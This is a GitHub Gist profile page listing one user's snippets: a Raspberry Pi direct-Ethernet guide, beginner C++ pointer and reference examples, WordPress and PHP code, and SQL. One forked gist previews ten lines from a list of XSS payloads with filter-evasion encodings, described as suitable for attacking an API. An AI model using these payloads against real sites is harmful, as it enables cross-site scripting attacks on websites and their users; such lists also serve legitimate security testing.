Skip to content

Instantly share code, notes, and snippets.

View titus-shoats's full-sized avatar

Titus Shoats titus-shoats

View GitHub Profile
@titus-shoats
titus-shoats / Direct_ethernet_connection.md
Created April 7, 2020 00:24 — forked from JinhaiZ/Direct_ethernet_connection.md
Direct Ethernet connection to Raspberry Pi/Odroid without router (with DHCP, tested on Ubuntu 16.04)

Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.

Direct Ethernet connection to Raspberry Pi/Odroid without router

The solution is based on running DHCP service at your workstation (your notebook for example), and use it to attribute an IP address to your Raspberry Pi/Odroid. Then use ssh to connect to your Raspberry Pi/Odroid through this IP address.

Terminology Explaination
Client Your Single Board Computer, such as a Raspberry Pi or an Odroid
Server Your workstation with any linux based systems, like Ubuntu
@titus-shoats
titus-shoats / References.cpp
Created May 9, 2017 17:55
Passing pointers to objects
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / References.cpp
Created May 9, 2017 12:28
Returning multiple values by reference
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / References.cpp
Created May 9, 2017 12:11
Returning multiple values with pointers
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / References.cpp
Last active May 8, 2017 21:39
C++ Pass By References
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / 666_lines_of_XSS_vectors.html
Created March 27, 2017 00:39 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@titus-shoats
titus-shoats / post_types_taxonomy.php
Last active November 10, 2016 01:42
Get Wordpress Post Types Within Taxonomies
<?php
$args = array(
'public' => true,
'_builtin' => false
);
$post_types = get_post_types($args, 'names', 'and');
foreach ($post_types as $post_type) {
/**
CREATE TABLE IF NOT EXISTS `customers` (
`customerid` int(11) NOT NULL,
`name` char(50) NOT NULL,
`address` char(100) NOT NULL,
`city` char(30) NOT NULL
)
INSERT INTO `customers` (`customerid`, `name`, `address`, `city`) VALUES
(1, 'John Smith', '454 Peacock St', 'Charleston WV'),
@titus-shoats
titus-shoats / Process JSON To PHP
Last active November 10, 2016 01:42
json to php
<?php
$parse_json = file_get_contents('json.json');
$string = json_decode($parse_json,true);
foreach($string as $strings){
foreach ($strings as $key => $value) {
echo "<pre>";
echo $key . $value . "<br/>";
@titus-shoats
titus-shoats / Display Custom Post Type
Last active November 10, 2016 01:43
display custom post types
<?php
$args = array(
'post_type'=>'products'
);
$myproducts = new WP_Query($args);
while($myproducts->have_posts()) : $myproducts->the_post();